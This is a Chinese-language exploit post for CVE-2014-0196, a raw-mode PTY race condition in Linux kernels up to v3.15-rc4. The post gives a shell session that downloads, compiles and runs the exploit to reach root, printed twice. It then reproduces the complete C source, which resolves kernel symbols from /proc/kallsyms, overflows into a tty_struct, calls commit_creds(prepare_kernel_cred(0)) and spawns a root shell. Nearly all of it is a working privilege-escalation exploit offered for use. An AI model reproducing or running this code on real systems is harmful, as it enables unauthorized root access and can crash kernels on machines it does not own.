Linux kernel <= v3.15-rc4 本地提权 Exploit 已测

[8090sec@Test2 ~]$ id
uid=501(8090sec) gid=501(8090sec) groups=501(8090sec)

[8090sec@Test2 ~]$ wget http://www.8090sec.com/Exploit/cve-2014-0196-md.c

[8090sec@Test2 ~]$ chmod +x cve-2014-0196-md.c

[8090sec@Test2 ~]$ gcc cve-2014-0196-md.c -lutil -lpthread

[8090sec@Test2 ~]$ ./a.out

 

[8090sec@Test2 ~]$ whoami

root

 

 附上cve-2014-0196-md.c 代码: 完整版下载地址: http://www.8090sec.com/Exploit/cve-2014-0196-md.c

[8090sec@Test2 ~]$ id
uid=501(8090sec) gid=501(8090sec) groups=501(8090sec)

[8090sec@Test2 ~]$ wget http://www.8090sec.com/Exploit/cve-2014-0196-md.c

[8090sec@Test2 ~]$ chmod +x cve-2014-0196-md.c

[8090sec@Test2 ~]$ gcc cve-2014-0196-md.c -lutil -lpthread

[8090sec@Test2 ~]$ ./a.out

 

[8090sec@Test2 ~]$ whoami

root

 

 附上cve-2014-0196-md.c 代码: 完整版下载地址: http://www.8090sec.com/Exploit/cve-2014-0196-md.c

    /*   
    * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race   
    * condition   
    *   
    * Slightly-less-than-POC privilege escalation exploit   
    * For kernels >= v3.14-rc1   
    *   
    * Matthew Daley <mattd@bugfuzz.com>   
    *   
    * Usage:   
    *   $ gcc cve-2014-0196-md.c -lutil -lpthread   
    *   $ ./a.out   
    *   [+] Resolving symbols   
    *   [+] Resolved commit_creds: 0xffffffff81056694   
    *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7   
    *   [+] Doing once-off allocations   
    *   [+] Attempting to overflow into a tty_struct...............   
    *   [+] Got it :)   
    *   # id   
    *   uid=0(root) gid=0(root) groups=0(root)   
    *   
    * WARNING: The overflow placement is still less-than-ideal; there is a 1/4   
    * chance that the overflow will go off the end of a slab. This does not   
    * necessarily lead to an immediate kernel crash, but you should be prepared   
    * for the worst (i.e. kernel oopsing in a bad state). In theory this would be   
    * avoidable by reading /proc/slabinfo on systems where it is still available   
    * to unprivileged users.   
    *   
    * Caveat: The vulnerability should be exploitable all the way from   
    * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in   
    * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer   
    * GFP_ATOMIC memory consumption") that make exploitation simpler, which this   
    * exploit relies on.   
    *   
    * Thanks to Jon Oberheide for his help on exploitation technique.   
    */   
     
    #include <sys/stat.h>   
    #include <sys/types.h>   
    #include <fcntl.h>   
    #include <pthread.h>   
    #include <pty.h>   
    #include <stdio.h>   
    #include <string.h>   
    #include <termios.h>   
    #include <unistd.h>   
     
    #define TTY_MAGIC 0x5401   
     
    #define ONEOFF_ALLOCS 200   
    #define RUN_ALLOCS    30   
     
    struct device;   
    struct tty_driver;   
    struct tty_operations;   
     
    typedef struct {   
      int counter;   
    } atomic_t;   
     
    struct kref {   
      atomic_t refcount;   
    };   
     
    struct tty_struct_header {   
      int  magic;   
      struct kref kref;   
      struct device *dev;   
      struct tty_driver *driver;   
      const struct tty_operations *ops;   
    } overwrite;   
     
    typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);   
    typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);   
     
    int master_fd, slave_fd;   
    char buf[1024] = {0};   
    commit_creds_fn commit_creds;   
    prepare_kernel_cred_fn prepare_kernel_cred;   
     
    int payload(void) {   
      commit_creds(prepare_kernel_cred(0));   
     
      return 0;   
    }   
     
    unsigned long get_symbol(char *target_name) {   
      FILE *f;   
      unsigned long addr;   
      char dummy;   
      char name[256];   
      int ret = 0;   
     
      f = fopen("/proc/kallsyms", "r");   
      if (f == NULL)   
        return 0;   
     
      while (ret != EOF) {   
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);   
        if (ret == 0) {   
          fscanf(f, "%s\n", name);   
          continue;   
        }   
     
        if (!strcmp(name, target_name)) {   
          printf("[+] Resolved %s: %p\n", target_name, (void *)addr);   
     
          fclose(f);   
          return addr;   
        }   
      }   
     
      printf("[-] Couldn't resolve \"%s\"\n", name);   
     
      fclose(f);   
      return 0;   
    }   
     
    void *overwrite_thread_fn(void *p) {   
      write(slave_fd, buf, 511);   
     
      write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));   
      write(slave_fd, &overwrite, sizeof(overwrite));   
    }   
     
    int main() {   
      char scratch[1024] = {0};   
      void *tty_operations[64];   
      int i, temp_fd_1, temp_fd_2;   
     
      for (i = 0; i < 64; ++i)   
        tty_operations[i] = payload;   
     
      overwrite.magic                 = TTY_MAGIC;   
      overwrite.kref.refcount.counter = 0x1337;   
      overwrite.dev                   = (struct device *)scratch;   
      overwrite.driver                = (struct tty_driver *)scratch;   
      overwrite.ops                   = (struct tty_operations *)tty_operations;   
     
      puts("[+] Resolving symbols");   
     
      commit_creds = (commit_creds_fn)get_symbol("commit_creds");   
      prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");   
      if (!commit_creds || !prepare_kernel_cred)   
        return 1;   
     
      puts("[+] Doing once-off allocations");   
     
      for (i = 0; i < ONEOFF_ALLOCS; ++i)   
        if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {   
          puts("[-] pty creation failed");   
          return 1;   
        }   
     
      printf("[+] Attempting to overflow into a tty_struct...");   
      fflush(stdout);   
     
      for (i = 0; ; ++i) {   
        struct termios t;   
        int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;   
        pthread_t overwrite_thread;   
     
        if (!(i & 0xfff)) {   
          putchar('.');   
          fflush(stdout);   
        }   
     
        if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {   
          puts("\n[-] pty creation failed");   
          return 1;   
        }   
     
        for (j = 0; j < RUN_ALLOCS; ++j)   
          if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {   
            puts("\n[-] pty creation failed");   
            return 1;   
          }   
     
        close(fds[RUN_ALLOCS / 2]);   
        close(fds2[RUN_ALLOCS / 2]);   
     
        write(slave_fd, buf, 1);   
     
        tcgetattr(master_fd, &t);   
        t.c_oflag &= ~OPOST;   
        t.c_lflag |= ECHO;   
        tcsetattr(master_fd, TCSANOW, &t);   
     
        if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {   
          puts("\n[-] Overwrite thread creation failed");   
          return 1;   
        }   
        write(master_fd, "A", 1);   
        pthread_join(overwrite_thread, NULL);   
     
        for (j = 0; j < RUN_ALLOCS; ++j) {   
          if (j == RUN_ALLOCS / 2)   
            continue;   
     
          ioctl(fds[j], 0xdeadbeef);   
          ioctl(fds2[j], 0xdeadbeef);   
     
          close(fds[j]);   
          close(fds2[j]);   
        }   
     
        ioctl(master_fd, 0xdeadbeef);   
        ioctl(slave_fd, 0xdeadbeef);   
     
        close(master_fd);   
        close(slave_fd);   
     
        if (!setresuid(0, 0, 0)) {   
          setresgid(0, 0, 0);   
     
          puts("\n[+] Got it :)");   
          execl("/bin/bash", "/bin/bash", NULL);   
        }   
      }   
    }